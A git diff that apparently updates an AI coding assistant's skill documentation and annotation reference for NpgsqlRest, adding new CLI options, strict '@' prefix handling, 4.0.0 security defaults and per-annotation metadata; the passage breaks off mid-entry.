diff --git a/.claude/skills/npgsqlrest/SKILL.md b/.claude/skills/npgsqlrest/SKILL.md index 2b921673..3802da0e 100644 --- a/.claude/skills/npgsqlrest/SKILL.md +++ b/.claude/skills/npgsqlrest/SKILL.md @@ -27,6 +27,8 @@ The annotation/config surface is large and version-dependent. In order of prefer npgsqlrest --annotations # every supported annotation, as JSON npgsqlrest --config # full default appsettings.json (every option, commented) npgsqlrest --validate # test DB connectivity + that endpoints build (incl. .sql Describe) + npgsqlrest --inspect # 4.1.0+: endpoints + everything that did NOT become an endpoint, with the reason + generated files + npgsqlrest --parse=x.sql # 4.1.0+: no database: how a SQL file's comments are read, line by line (--parse-comment=file for a routine comment) npgsqlrest --version ``` 3. **Online:** docs at (e.g. `/guide/annotations`, `/guide/sql-files`, `/annotations/`, `/config/
`); source & issues at . @@ -102,11 +104,15 @@ Everything below (annotations, HTTP types, proxy, caching, auth, SSE, MCP) works Same annotations apply to functions and `.sql` files. Confirm exact syntax/aliases with `npgsqlrest --annotations`. +**The `@` prefix.** By default it is optional: `HTTP GET` and `@http get` are the same line. With `"NpgsqlRest": { "RequireAtPrefix": true }` (4.1.0+) only a line that begins with `@` is an annotation, and everything else is description text, whatever word it begins with. Prefer writing the `@` always: it is read in both settings and can never be mistaken for a sentence. In strict mode this includes `@http`, `key = value` lines (`@timeout = 30s`), response headers (`@Content-Type: text/plain`), the SQL-file lines (`@returns`, `@result`, `@single`, `@skip`, `@param`, `@define_param`) and HTTP Custom Type directives (`@timeout`); the request line and headers of an HTTP Custom Type take no prefix. + +**"Why is there no endpoint?"** Run `npgsqlrest --inspect` and look at `notExposed`: each routine or `.sql` file that was looked at and is not an endpoint is listed with a `reason` (`no_comment`, `no_http_annotation`, `unprefixed_annotations`, `disabled`, `tag_mismatch`, `excluded_by_filter`, `sql_error`, `empty_file`) and a `message` that says what to change. A `.sql` file that is not in the list at all is not matched by `SqlFileSource.FilePattern`. + **Routing / exposure** - `HTTP [GET|POST|PUT|DELETE|QUERY] [/path]` — expose (`QUERY` = the standardized safe method with a body; its params default to the JSON body). `@path /x` — override path. `@disabled`/`@enabled`. `@internal` — exists but no public route (reachable via proxy / HTTP-type self-call). `@tags a,b`, `@openapi …`. **Auth** -- `@authorize` (any authenticated) / `@authorize role1, role2`. `@allow_anonymous` (aliases `@anonymous`, `@anon`). `@login` / `@logout`. `@user_context` (claims → PG context + headers), `@user_parameters` (claims → params). `@security_sensitive` (keep param values out of logs). +- `@authorize` (any authenticated) / `@authorize role1, role2` (plain values are ROLES only; specific users: `user:`, `id:` — since 4.0.0). `@allow_anonymous` (aliases `@anonymous`, `@anon`). `@login` / `@logout`. `@user_context` (claims → PG context + headers), `@user_parameters` (claims → params). `@security_sensitive` (keep param values out of logs). **Params / request** - `@param $1 name [type] [default …]` (rename/retype/default). `@define_param name [type]` (virtual, SQL-file). `@request_param_type query_string | body_json`. `@body_parameter_name _x` (one param = raw body). `@request_headers_mode parameter` + `@request_headers_parameter_name _headers`. Resolved param: a line `_token = select api_token from tokens where user_name = {_name}` fills `_token` server-side (client can't override). @@ -146,6 +152,7 @@ Accept: text/html'; - Response fields (names configurable in `HttpClientOptions`): `body`, `status_code`, `content_type`, `headers` (json), `success`, `error_message`. - `@cache ` (3.18.0+): caches the outbound response — **GET only, 2xx only**, stampede-coalesced; globally toggled by `HttpClientOptions.CacheEnabled`. - Placeholders `{name}` in URL/headers/body substitute from params, resolved-param expressions, and allowlisted env vars. Env vars are opt-in via `NpgsqlRest:AvailableEnvVars` (array of names, or object of `name → default`; resolved once at startup, matched case-insensitively; a same-named routine parameter wins) — ideal for API keys: `Authorization: Bearer {WEATHER_API_KEY}`. Strict forms (3.21.0+): `{!name}` resolves like `{name}` for known names; `{!name:fallback}` substitutes the inline fallback when the listed var is unset with no configured default, or when a parameter value is null (`X-Plan: {!_plan:free}`); unlisted names stay literal in every form. +- In the **URL**, parameter values are percent-encoded (4.0.0+): each stays inside its path segment / query value, so don't pass a pre-built query string or path through one placeholder — use one placeholder per value, or an env var for a base URL (env values are not encoded). Headers and body are inserted as-is. Calls without `@timeout` time out after 30s (4.0.0+; previously no limit) → `status_code` 408. - A relative URL (`GET /api/other`) is a **self-call** to another endpoint with no HTTP round-trip — give a function several HTTP-type params and they fire concurrently. - Requires `HttpClientOptions.Enabled = true`. @@ -155,13 +162,14 @@ Accept: text/html'; - **Passthrough** (no proxy-response params): function body is **not executed**; upstream response streamed back; no DB connection. - **Transform** (routine declares `_proxy_status_code int`, `_proxy_body text`, `_proxy_success boolean`, `_proxy_headers json`, `_proxy_content_type text`, `_proxy_error_message text`): NpgsqlRest proxies, binds the response into those params, runs the function, returns its result. -- **Automatic params forwarded upstream** (3.18.1+): user claims, IP, HTTP-Custom-Type fields, resolved-param expressions are forwarded in the endpoint's native shape (query for `QueryString` endpoints, merged JSON body for `BodyJson`), honoring `@body_parameter_name`. +- **Automatic params forwarded upstream** (3.18.1+): user claims, IP, HTTP-Custom-Type fields, resolved-param expressions are forwarded in the endpoint's native shape (query for `QueryString` endpoints, merged JSON body for `BodyJson`), honoring `@body_parameter_name`. Since 4.0.0 client-sent values under those names are dropped (server values replace, never append). +- **Credentials are not forwarded** (4.0.0+): `ProxyOptions.ExcludeHeaders` defaults include `Cookie`, `Authorization`, `Proxy-Authorization`; `ExcludeResponseHeaders` includes `Set-Cookie`. Remove `Authorization` only for a trusted internal upstream that needs the caller's bearer token. - **`@proxy_out [METHOD] [host]`** — the inverse direction: run the function FIRST, then forward its result body to the upstream service and return the upstream response (content-type and status included) to the client. E.g. build invoice JSON in SQL, `@proxy_out POST https://pdf-renderer.internal/render` returns the rendered PDF. - Requires `ProxyOptions.Enabled = true`. ## SSE (server-sent events) -A long-running routine streams progress via `RAISE INFO/NOTICE`. Annotate with `@sse` (or a project's `sse_publish`/`sse_subscribe` split) and a scope (`all` | `authorize` | `matching`). Per-recipient targeting: `raise info 'msg' using hint = format('authorize %s', _user_id)`. A subscribe-only endpoint's body never runs. A cache hit skips execution → no RAISE → no broadcast (correct). +A long-running routine streams progress via `RAISE INFO/NOTICE`. Annotate with `@sse` (or a project's `sse_publish`/`sse_subscribe` split) and a scope (`all` | `authorize` | `matching`). Per-recipient targeting: `raise info 'msg' using hint = format('authorize id:%s', _user_id)` (plain hint values are roles; `id:`/`user:` prefixes target users — since 4.0.0). A subscribe-only endpoint's body never runs. A cache hit skips execution → no RAISE → no broadcast (correct). ## MCP (Model Context Protocol) @@ -183,6 +191,7 @@ comment on function auth_login(text, text) is 'HTTP POST ``` - `status` 200 → success (other codes → that HTTP status); `scheme` picks the auth scheme/cookie. +- Returning the `hash` column makes password verification mandatory (missing/NULL password or hash → fail). A wrong password answers **401**, the same as an unknown user (no row) — since 4.0.0 (was 404); unknown users also cost one dummy hash check. - Column→claim mapping in `AuthenticationOptions` (`StatusColumnName`, `SchemeColumnName`, role/name/id claim columns). - **Inject identity from claims, never trust client-supplied IDs.** Declare params like `_user_id text = null`, `_user_roles text[] = '{}'` and map them via `AuthenticationOptions.ParameterNameClaimsMapping` / `IpAddressParameterName`. NpgsqlRest fills them from the authenticated principal. - Use `security definer` on API functions and still permission-check inside (`assert _user_roles && array['admin']` …). @@ -287,6 +296,10 @@ For Docker Desktop bind mounts set `DOTNET_USE_POLLING_FILE_WATCHER=1` (file eve - **`HttpClientOptions.Enabled` / `ProxyOptions.Enabled` / `SqlFileSource.Enabled`** must be true for those features. `@cache` on a non-GET HTTP type is ignored with a warning. - **SQL files:** annotations are in `--`/`/* */` comments; params are named `:name` (preferred — auto-named) or positional `$N` (name via `@param`) — **never mixed in one file** (startup error); a startup Describe error fails boot unless `ErrorMode: Skip`; use `@returns` for statements over not-yet-existing objects (temp tables); `DO` blocks can't take params or return values. - **A `.sql` file named `*.test.sql` never becomes an endpoint** — `SqlFileSource.SkipPattern` excludes test files by default. +- **Client IP is the connection address** (4.0.0+): `X-Forwarded-For`/`X-Real-IP` are not trusted. Behind a reverse proxy enable `ForwardedHeaders` (`ForwardLimit: 1`, `KnownProxies`), or rate limits, `_ip_address` and `request.ip_address` all see the proxy's IP. +- **`Antiforgery:Enabled: true` enforces the token** on POST/PUT/PATCH/DELETE of every API endpoint (4.0.0+; before it had no effect on them) → `400` without it. Browser code must send the `Antiforgery:HeaderName` header. +- **`@user_params` ignore client values for anonymous callers** (4.0.0+): claim-bound params get their default/NULL, never `?userId=...` from the request. +- **No `{placeholders}` in upload `row_command`** (4.0.0+) — it is SQL; use its `$1`–`$4` params (metadata JSON `$4` includes user claims). - **Test HTTP block paths must be the FULL path** including `UrlPathPrefix` (`/api/...`) — a bare `/get-users` is a 404 with a warning. - **`ResponseTempTable.DebugTable` is a dev-only debugging aid** — never enable in CI; combine with `Keep: true` when the run drops its test database. - After changing an annotation, re-run with `--log:minimallevels:npgsqlrest=debug` (or `--validate`) to confirm it parsed as intended. diff --git a/.claude/skills/npgsqlrest/annotations-reference.md b/.claude/skills/npgsqlrest/annotations-reference.md index 0e104324..cdb9d5a2 100644 --- a/.claude/skills/npgsqlrest/annotations-reference.md +++ b/.claude/skills/npgsqlrest/annotations-reference.md @@ -1,14 +1,18 @@ # NpgsqlRest — Full Annotation Reference -Every comment annotation, generated from `npgsqlrest --annotations` (NpgsqlRest v3.20.0). -Annotations apply to both endpoint sources (database routines via `comment on`, and `.sql` files via leading `--` comments). The `@` prefix is optional. Regenerate with `npgsqlrest --annotations`. +Every comment annotation and custom parameter, generated from `npgsqlrest --annotations` (NpgsqlRest v4.0.0): what core reads and what every plugin and handler of the client reads. Regenerate with `npgsqlrest --annotations`. -A hand-maintained **Supplement** at the end of this file covers annotations the binary does NOT emit — SQL-file statement annotations, plugin annotations (`mcp`, `openapi`), custom-parameter families (`tsclient*`, `dartclient*`, `table_format`), and test-file annotations. **Keep the Supplement when regenerating the section above.** +Each entry says who reads it (**Owner**), how it is written (**Form**) and where it is read (**Where**). The `@` prefix is optional on endpoint annotations. In an endpoint comment, a line starting with `@` that nothing reads is not published as the description, and an unknown `@key = value` logs a warning at startup; `npgsqlrest --endpoints` lists both per endpoint (`unknownAnnotations`, `unknownCustomParameters`, `diagnostics`). + +# Endpoint annotations (core) ## `http` - **Aliases:** http - **Syntax:** `http [GET|POST|PUT|DELETE|QUERY] [path]` +- **Owner:** core · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** text +- **Example:** `HTTP GET /users/{id}` Enable endpoint and configure HTTP method and/or path. Required (for HTTP exposure) when CommentsMode is OnlyAnnotated (or its alias OnlyWithHttpTag). @@ -16,6 +20,9 @@ Enable endpoint and configure HTTP method and/or path. Required (for HTTP exposu - **Aliases:** path - **Syntax:** `path ` +- **Owner:** core · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** path +- **Example:** `path /users/{id}` Override the endpoint URL path. @@ -23,20 +30,29 @@ Override the endpoint URL path. - **Aliases:** request_param_type, param_type - **Syntax:** `param_type [query_string|query|body_json|body]` +- **Owner:** core · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** enum (query_string, query, body_json, body) +- **Example:** `param_type body_json` Set request parameter type to query string or JSON body. ## `authorize` - **Aliases:** authorize, authorized, requires_authorization -- **Syntax:** `authorize [role1, role2, ...]` +- **Syntax:** `authorize [role1, role2, user:name, id:user_id, ...]` +- **Owner:** core · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** list +- **Example:** `authorize admin, user:alice` -Require authorization, optionally restricting to specific roles. +Require authorization, optionally restricting access. Plain values are role names (role claim); user:name matches the user name claim and id:value the user id claim. ## `allow_anonymous` - **Aliases:** allow_anonymous, anonymous, allow_anon, anon - **Syntax:** `allow_anonymous` +- **Owner:** core · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** none +- **Example:** `allow_anonymous` Allow unauthenticated access to this endpoint. @@ -44,6 +60,9 @@ Allow unauthenticated access to this endpoint. - **Aliases:** login, signin - **Syntax:** `login` +- **Owner:** core · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** none +- **Example:** `login` Mark endpoint as a login/authentication endpoint. @@ -51,6 +70,9 @@ Mark endpoint as a login/authentication endpoint. - **Aliases:** logout, signout - **Syntax:** `logout` +- **Owner:** core · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** none +- **Example:** `logout` Mark endpoint as a logout endpoint. @@ -58,6 +80,9 @@ Mark endpoint as a logout endpoint. - **Aliases:** raw, raw_mode, raw_results - **Syntax:** `raw` +- **Owner:** core · **Form:** keyword line or `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean · **Default:** `false` +- **Example:** `raw` Return raw results without JSON formatting. @@ -65,6 +90,9 @@ Return raw results without JSON formatting. - **Aliases:** separator, raw_separator - **Syntax:** `separator ` +- **Owner:** core · **Form:** keyword line or `key = value` · **Where:** routine comment, SQL file +- **Value:** text +- **Example:** `separator ,` Set the value separator for raw mode output. @@ -72,6 +100,9 @@ Set the value separator for raw mode output. - **Aliases:** new_line, raw_new_line - **Syntax:** `new_line ` +- **Owner:** core · **Form:** keyword line or `key = value` · **Where:** routine comment, SQL file +- **Value:** text +- **Example:** `new_line \n` Set the line separator for raw mode output. @@ -79,6 +110,9 @@ Set the line separator for raw mode output. - **Aliases:** columns, names, column_names - **Syntax:** `columns` +- **Owner:** core · **Form:** keyword line or `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean · **Default:** `false` +- **Example:** `columns` Include column names as the first row in raw output. @@ -86,6 +120,9 @@ Include column names as the first row in raw output. - **Aliases:** buffer_rows, buffer - **Syntax:** `buffer_rows ` +- **Owner:** core · **Form:** keyword line or `key = value` · **Where:** routine comment, SQL file +- **Value:** integer · **Default:** `25` +- **Example:** `buffer_rows 100` Set the number of rows to buffer before sending response. @@ -93,6 +130,9 @@ Set the number of rows to buffer before sending response. - **Aliases:** cached - **Syntax:** `cached [param1, param2, ...]` +- **Owner:** core · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** list +- **Example:** `cached _user_id` Enable response caching, optionally specifying cache key parameters. @@ -100,6 +140,9 @@ Enable response caching, optionally specifying cache key parameters. - **Aliases:** cache_expires, cache_expires_in - **Syntax:** `cache_expires ` +- **Owner:** core · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** interval +- **Example:** `cache_expires 5 minutes` Set cache expiration time (PostgreSQL interval format). @@ -107,6 +150,9 @@ Set cache expiration time (PostgreSQL interval format). - **Aliases:** cache_profile - **Syntax:** `cache_profile ` +- **Owner:** core · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** name +- **Example:** `cache_profile fast_memory` Select a named cache profile defined in CacheOptions.Profiles. The profile supplies the cache backend, default expiration, default key parameters, and per-parameter skip conditions. Implies caching even without @cached. Existing @cached and @cache_expires annotations override the profile's defaults. Unknown profile names cause startup to fail. @@ -114,6 +160,9 @@ Select a named cache profile defined in CacheOptions.Profiles. The profile suppl - **Aliases:** connection, connection_name - **Syntax:** `connection_name ` +- **Owner:** core · **Form:** keyword line or `key = value` · **Where:** routine comment, SQL file +- **Value:** name +- **Example:** `connection read_replica` Use a specific named connection string for this endpoint. @@ -121,6 +170,9 @@ Use a specific named connection string for this endpoint. - **Aliases:** command_timeout, timeout - **Syntax:** `timeout ` +- **Owner:** core · **Form:** keyword line or `key = value` · **Where:** routine comment, SQL file +- **Value:** interval +- **Example:** `timeout 30s` Set command execution timeout (PostgreSQL interval format). @@ -128,6 +180,9 @@ Set command execution timeout (PostgreSQL interval format). - **Aliases:** request_headers_mode, request_headers - **Syntax:** `request_headers [ignore|context|parameter]` +- **Owner:** core · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** enum (ignore, context, parameter) +- **Example:** `request_headers context` Control how HTTP request headers are passed to the routine. @@ -135,6 +190,9 @@ Control how HTTP request headers are passed to the routine. - **Aliases:** request_headers_parameter_name, request_headers_param_name, request-headers-param-name - **Syntax:** `request_headers_parameter_name ` +- **Owner:** core · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** name +- **Example:** `request_headers_parameter_name _headers` Set the parameter name for request headers when mode is parameter. @@ -142,6 +200,9 @@ Set the parameter name for request headers when mode is parameter. - **Aliases:** body_parameter_name, body_param_name - **Syntax:** `body_parameter_name ` +- **Owner:** core · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** name +- **Example:** `body_parameter_name _body` Set the parameter name for the JSON body content. @@ -149,6 +210,9 @@ Set the parameter name for the JSON body content. - **Aliases:** response_null_handling, response_null - **Syntax:** `response_null [empty_string|null_literal|no_content|204]` +- **Owner:** core · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** enum (empty_string, null_literal, no_content, 204) · **Default:** `empty_string` +- **Example:** `response_null no_content` Control how NULL return values are rendered in responses. @@ -156,6 +220,9 @@ Control how NULL return values are rendered in responses. - **Aliases:** query_string_null_handling, query_null_handling, query_string_null, query_null - **Syntax:** `query_null [empty_string|null_literal|ignore]` +- **Owner:** core · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** enum (empty_string, null_literal, ignore) · **Default:** `ignore` +- **Example:** `query_null empty_string` Control how NULL query string parameters are handled. @@ -163,6 +230,9 @@ Control how NULL query string parameters are handled. - **Aliases:** sensitive, security, security_sensitive - **Syntax:** `security_sensitive` +- **Owner:** core · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** none +- **Example:** `security_sensitive` Mark endpoint as security-sensitive (suppresses logging of parameters). @@ -170,6 +240,9 @@ Mark endpoint as security-sensitive (suppresses logging of parameters). - **Aliases:** user_context - **Syntax:** `user_context` +- **Owner:** core · **Form:** keyword line or `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean · **Default:** `false` +- **Example:** `user_context` Pass authenticated user context to the routine via connection settings. @@ -177,6 +250,9 @@ Pass authenticated user context to the routine via connection settings. - **Aliases:** user_parameters, user_params - **Syntax:** `user_parameters` +- **Owner:** core · **Form:** keyword line or `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean · **Default:** `false` +- **Example:** `user_parameters` Map user claims to routine parameters. @@ -184,6 +260,9 @@ Map user claims to routine parameters. - **Aliases:** upload - **Syntax:** `upload [for handler1, handler2, ...]` +- **Owner:** core · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** list +- **Example:** `upload for file_system` Enable file upload for this endpoint, optionally specifying upload handlers. @@ -191,6 +270,9 @@ Enable file upload for this endpoint, optionally specifying upload handlers. - **Aliases:** parameter, param - **Syntax:** `param is hash of | param is upload metadata | param [type] | param is [type] | param type is | param default ` +- **Owner:** core · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** text +- **Example:** `param $1 user_id integer` Configure parameter behavior: hash computation, upload metadata binding, rename/retype, retype WITHOUT rename ('param user_id type is integer'), or default value ('param user_id default null'). Rename forms: 'param $1 user_id', 'param $1 user_id integer', 'param $1 is user_id', 'param _old_name better_name'. In SQL files with named (:name) placeholders the parameter is addressed by the placeholder's own name (a leading ':' is tolerated). Works on all endpoint types. @@ -198,6 +280,9 @@ Configure parameter behavior: hash computation, upload metadata binding, rename/ - **Aliases:** sse, sse_path, sse_events_path - **Syntax:** `sse_path [path] [on info|notice|warning]` +- **Owner:** core · **Form:** keyword line or `key = value` · **Where:** routine comment, SQL file +- **Value:** path +- **Example:** `sse /events on notice` Enable Server-Sent Events streaming with optional path and notice level. @@ -205,20 +290,29 @@ Enable Server-Sent Events streaming with optional path and notice level. - **Aliases:** sse_level, sse_events_level - **Syntax:** `sse_level [info|notice|warning]` +- **Owner:** core · **Form:** keyword line or `key = value` · **Where:** routine comment, SQL file +- **Value:** enum (info, notice, warning) +- **Example:** `sse_level notice` Set the PostgreSQL notice level for SSE events. ## `sse_scope` - **Aliases:** sse_scope, sse_events_scope -- **Syntax:** `sse_scope [all|authorize|matching] [role1, role2, ...]` +- **Syntax:** `sse_scope [all|authorize|matching] [role1, role2, user:name, id:user_id, ...]` +- **Owner:** core · **Form:** keyword line or `key = value` · **Where:** routine comment, SQL file +- **Value:** text +- **Example:** `sse_scope authorize admin` -Set the broadcast scope for SSE events. +Set the broadcast scope for SSE events. Authorize values: plain = role, user:name = user name claim, id:value = user id claim. ## `basic_auth` - **Aliases:** basic_authentication, basic_auth - **Syntax:** `basic_auth [username] [password]` +- **Owner:** core · **Form:** keyword line or `key = value` · **Where:** routine comment, SQL file +- **Value:** text +- **Example:** `basic_auth` Enable HTTP Basic Authentication for this endpoint. @@ -226,6 +320,9 @@ Enable HTTP Basic Authentication for this endpoint. - **Aliases:** basic_authentication_realm, basic_auth_realm, realm - **Syntax:** `basic_auth_realm ` +- **Owner:** core · **Form:** keyword line or `key = value` · **Where:** routine comment, SQL file +- **Value:** text +- **Example:** `basic_auth_realm Reports` Set the authentication realm for Basic Auth challenges. @@ -233,6 +330,9 @@ Set the authentication realm for Basic Auth challenges. - **Aliases:** basic_authentication_command, basic_auth_command, challenge_command - **Syntax:** `basic_auth_command ` +- **Owner:** core · **Form:** keyword line or `key = value` · **Where:** routine comment, SQL file +- **Value:** sql +- **Example:** `basic_auth_command = select * from check_basic_auth($1, $2)` Set a custom SQL command for Basic Auth credential validation. @@ -240,6 +340,9 @@ Set a custom SQL command for Basic Auth credential validation. - **Aliases:** retry_strategy_name, retry_strategy, retry - **Syntax:** `retry_strategy ` +- **Owner:** core · **Form:** keyword line or `key = value` · **Where:** routine comment, SQL file +- **Value:** name +- **Example:** `retry_strategy default` Apply a named retry strategy for transient database errors. @@ -247,6 +350,9 @@ Apply a named retry strategy for transient database errors. - **Aliases:** rate_limiter_policy_name, rate_limiter_policy, rate_limiter - **Syntax:** `rate_limiter ` +- **Owner:** core · **Form:** keyword line or `key = value` · **Where:** routine comment, SQL file +- **Value:** name +- **Example:** `rate_limiter fixed` Apply a named rate limiting policy to this endpoint. @@ -254,6 +360,9 @@ Apply a named rate limiting policy to this endpoint. - **Aliases:** error_code_policy_name, error_code_policy, error_code - **Syntax:** `error_code_policy ` +- **Owner:** core · **Form:** keyword line or `key = value` · **Where:** routine comment, SQL file +- **Value:** name +- **Example:** `error_code_policy default` Apply a named error code mapping policy for PostgreSQL error codes. @@ -261,6 +370,9 @@ Apply a named error code mapping policy for PostgreSQL error codes. - **Aliases:** validate, validation - **Syntax:** `validate using ` +- **Owner:** core · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** text +- **Example:** `validate _email using email` Add parameter validation using a named validation rule. @@ -268,6 +380,9 @@ Add parameter validation using a named validation rule. - **Aliases:** proxy, reverse_proxy - **Syntax:** `proxy [GET|POST|PUT|DELETE|QUERY] [host_url]` +- **Owner:** core · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** text +- **Example:** `proxy GET https://api.example.com/users` Configure endpoint as a reverse proxy. @@ -275,6 +390,9 @@ Configure endpoint as a reverse proxy. - **Aliases:** proxy_out, forward_proxy - **Syntax:** `proxy_out [GET|POST|PUT|DELETE|QUERY] [host_url]` +- **Owner:** core · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** text +- **Example:** `proxy_out POST https://api.example.com/render` Execute function first, then forward result body to upstream proxy service. @@ -282,6 +400,9 @@ Execute function first, then forward result body to upstream proxy service. - **Aliases:** nested, nested_json, nested_composite - **Syntax:** `nested_json` +- **Owner:** core · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** none +- **Example:** `nested_json` Serialize composite type columns as nested JSON objects. @@ -289,6 +410,9 @@ Serialize composite type columns as nested JSON objects. - **Aliases:** for, tags, tag - **Syntax:** `for tag1, tag2, ...` +- **Owner:** core · **Form:** keyword line · **Where:** routine comment +- **Value:** list +- **Example:** `for function, stable` Filter endpoint availability by tags. @@ -296,6 +420,9 @@ Filter endpoint availability by tags. - **Aliases:** disabled - **Syntax:** `disabled [tag1, tag2, ...]` +- **Owner:** core · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** list +- **Example:** `disabled` Disable this endpoint, optionally only for specific tags. @@ -303,6 +430,9 @@ Disable this endpoint, optionally only for specific tags. - **Aliases:** enabled - **Syntax:** `enabled [tag1, tag2, ...]` +- **Owner:** core · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** list +- **Example:** `enabled` Enable this endpoint, optionally only for specific tags. @@ -310,6 +440,9 @@ Enable this endpoint, optionally only for specific tags. - **Aliases:** internal, internal_only - **Syntax:** `internal` +- **Owner:** core · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** none +- **Example:** `internal` Mark endpoint as internal-only. Not exposed as an HTTP route, only accessible via self-referencing calls (proxy, HTTP client types). @@ -317,6 +450,9 @@ Mark endpoint as internal-only. Not exposed as an HTTP route, only accessible vi - **Aliases:** encrypt, encrypted, protect, protected - **Syntax:** `encrypt [param1, param2, ...]` +- **Owner:** core · **Form:** keyword line or `key = value` · **Where:** routine comment, SQL file +- **Value:** list +- **Example:** `encrypt _card_number` Encrypt parameter values using the default data protector before sending to PostgreSQL. Without arguments, encrypts all text parameters. @@ -324,127 +460,809 @@ Encrypt parameter values using the default data protector before sending to Post - **Aliases:** decrypt, decrypted, unprotect, unprotected - **Syntax:** `decrypt [column1, column2, ...]` +- **Owner:** core · **Form:** keyword line or `key = value` · **Where:** routine comment, SQL file +- **Value:** list +- **Example:** `decrypt card_number` Decrypt result column values using the default data protector before returning to the client. Without arguments, decrypts all text columns. ## `custom_parameter` -- **Aliases:** - **Syntax:** `key = value` +- **Owner:** core · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** text +- **Example:** `my_key = my value` Define a custom parameter as key-value pair (separated by =). ## `header` -- **Aliases:** - **Syntax:** `Header-Name: header-value` +- **Owner:** core · **Form:** a line of its own shape · **Where:** routine comment, SQL file +- **Value:** text +- **Example:** `Content-Type: text/csv` Add a response header (separated by :). -## `resultN` +## `result` -- **Aliases:** result1, result2, result3 -- **Syntax:** `resultN | resultN is ` +- **Aliases:** result +- **Syntax:** `result | result is ` +- **Owner:** core · **Form:** keyword line · **Where:** SQL file, per statement +- **Value:** name +- **Example:** `result users` -Rename a result key in multi-command SQL file responses. N is the 1-based command index. Example: '@result1 validate' renames the first result from 'result1' to 'validate'. SQL file source only. +Name a statement's result in the response of a SQL file with several statements (the default names are result1, result2 ...). Positional: applies to the next statement, or, written after the semicolon on the same line, to the statement that line ends. ## `define_param` - **Aliases:** define_param - **Syntax:** `define_param [type]` +- **Owner:** core · **Form:** keyword line · **Where:** SQL file +- **Value:** text +- **Example:** `define_param tenant_id integer` Define a virtual parameter that exists for HTTP matching and claim mapping but is NOT bound to the PostgreSQL command. Useful for SQL file endpoints where you need parameters for comment placeholders or claim mapping without referencing them in SQL. Default type is text. SQL file source only. ---- +## `single` -# Supplement — annotations not emitted by `--annotations` +- **Aliases:** single, single_record, single_result +- **Syntax:** `single` +- **Owner:** core · **Form:** keyword line or `key = value` · **Where:** routine comment, SQL file, SQL file, per statement +- **Value:** boolean · **Default:** `false` +- **Example:** `single` -Hand-maintained from the docs (). Everything above comes from the binary's annotation registry; the annotations below are equally real but live elsewhere (the SQL-file statement parser, plugins, custom-parameter conventions, the test runner), so `--annotations` does not list them. +Return only the first row as a JSON object instead of a JSON array. In multi-command SQL files the annotation is positional: it applies to the next statement (or, inline after the semicolon, to the statement on that line). -> **Maintenance note:** `single`, `void`, `skip`, `returns`, `mcp`, and `openapi` were added to the binary's annotation registry after v3.20.0. When regenerating this file from a newer release they will appear in the generated section above — remove their sections from this supplement then. The custom-parameter families and test-file annotations stay hand-maintained. +## `void` -## SQL-file statement annotations (SQL file source only) +- **Aliases:** void, void_result +- **Syntax:** `void` +- **Owner:** core · **Form:** keyword line or `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean · **Default:** `false` +- **Example:** `void` -Positional: placed on a line before a statement (or inline after the previous `;`), they apply to the NEXT statement — same placement rule as `resultN`. +Return no content (204 No Content); results are discarded. In multi-command SQL files all statements still execute for side effects. -### `single` +## `skip` -- **Syntax:** `single` +- **Aliases:** skip, skip_result, no_result +- **Syntax:** `skip` +- **Owner:** core · **Form:** keyword line · **Where:** SQL file, per statement +- **Value:** none +- **Example:** `skip` -That statement returns a single object instead of an array. +Execute the statement but exclude its result from the response. Positional: applies to the next statement (or, inline after the semicolon, to the statement on that line). SQL file source only. -### `skip` +## `returns` -- **Syntax:** `skip` +- **Aliases:** returns +- **Syntax:** `returns | returns | returns void` +- **Owner:** core · **Form:** keyword line · **Where:** SQL file, per statement +- **Value:** name +- **Example:** `returns my_schema.user_row` -Run the statement but exclude its result from the response. +Skip the startup Describe for a statement and resolve result columns from the given type instead: a composite type name (schema-qualified or not), a built-in scalar type (single-column result), or void. Needed when a statement references objects that do not exist at startup (e.g. a temp table created in a DO block). SQL file source only. -### `void` +## `sse_publish` -- **Aliases:** void, void_result -- **Syntax:** `void` +- **Aliases:** sse_publish, sse_events_publish +- **Syntax:** `sse_publish [on info|notice|warning]` +- **Owner:** core · **Form:** keyword line or `key = value` · **Where:** routine comment, SQL file +- **Value:** text +- **Example:** `sse_publish on notice` -The whole endpoint returns **204 No Content**; all statements run for side effects only. +Publish this routine's RAISE messages of the given level (default: the configured level) as Server-Sent Events, without giving the endpoint an event stream of its own. Subscribers are endpoints with sse or sse_subscribe. -### `returns` +## `sse_subscribe` -- **Syntax:** `returns | returns | returns void` +- **Aliases:** sse_subscribe, sse_events_subscribe +- **Syntax:** `sse_subscribe [path] [on info|notice|warning]` +- **Owner:** core · **Form:** keyword line or `key = value` · **Where:** routine comment, SQL file +- **Value:** path +- **Example:** `sse_subscribe /events` + +Give this endpoint a Server-Sent Events stream that clients subscribe to, without publishing this routine's own RAISE messages. Without a path, the path is the level's name. + +## `table_format` + +- **Aliases:** table_format +- **Syntax:** `table_format = ` +- **Owner:** core · **Form:** `key = value` · **Where:** routine comment, SQL file +- 